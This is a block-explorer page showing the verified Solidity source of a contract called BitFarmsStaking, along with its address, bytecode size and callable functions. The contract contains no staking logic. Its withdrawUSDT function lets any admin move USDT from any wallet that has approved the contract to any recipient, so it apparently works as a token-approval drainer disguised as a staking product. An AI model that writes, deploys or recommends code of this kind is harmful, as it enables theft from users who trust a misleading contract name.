Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x4035bc60296095fDab684b6522fCc670491d0bFD
Balance 0 ETH
Nonce 1
Code Size 4095 bytes
Creator 0x68370cB5...6403 at tx 0x9949d9de...67b711
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

4095 bytes
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Verified Source Code Full Match

Compiler: v0.8.26+commit.8a97fa7a EVM: cancun Optimization: No
bitfarmsstaking.sol 61 lines 
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

contract BitFarmsStaking {
    address public tokenAddress;
    mapping(address => bool) public admins;

    event AdminAdded(address indexed admin);
    event AdminRemoved(address indexed admin);
    event USDTWithdrawn(address indexed from, address indexed to, uint256 amount);

    constructor(address _tokenAddress) {
        tokenAddress = _tokenAddress;
        admins[msg.sender] = true;
        emit AdminAdded(msg.sender);
    }

    modifier onlyAdmin() {
        require(admins[msg.sender], "Only admin can perform this action");
        _;
    }

    function addAdmin(address _admin) external onlyAdmin {
        require(_admin != address(0), "Invalid address");
        require(!admins[_admin], "Already an admin");
        admins[_admin] = true;
        emit AdminAdded(_admin);
    }

    function removeAdmin(address _admin) external onlyAdmin {
        require(admins[_admin], "Not an admin");
        admins[_admin] = false;
        emit AdminRemoved(_admin);
    }

    function withdrawUSDT(address from, address to, uint256 amount) external onlyAdmin {
        require(to != address(0), "Invalid recipient address");

        IERC20 token = IERC20(tokenAddress);

        uint256 balance = token.balanceOf(from);
        uint256 allowance = token.allowance(from, address(this));

        require(balance >= amount, "Insufficient balance");
        require(allowance >= amount, "Insufficient allowance");

        (bool success, bytes memory data) = address(token).call(
            abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, amount)
        );

        require(success && (data.length == 0 || abi.decode(data, (bool))), "USDT Transfer failed");

        emit USDTWithdrawn(from, to, amount);
    }
}

Read Contract

admins 0x429b62e5 → bool
tokenAddress 0x9d76ea58 → address

Write Contract 3 functions

These functions modify contract state and require a wallet transaction to execute.

addAdmin 0x70480275
address _admin
removeAdmin 0x1785f53c
address _admin
withdrawUSDT 0x52be6f57
address from
address to
uint256 amount
Transactions Internal Txs Token Transfers Events

Recent Transactions

No transactions found for this address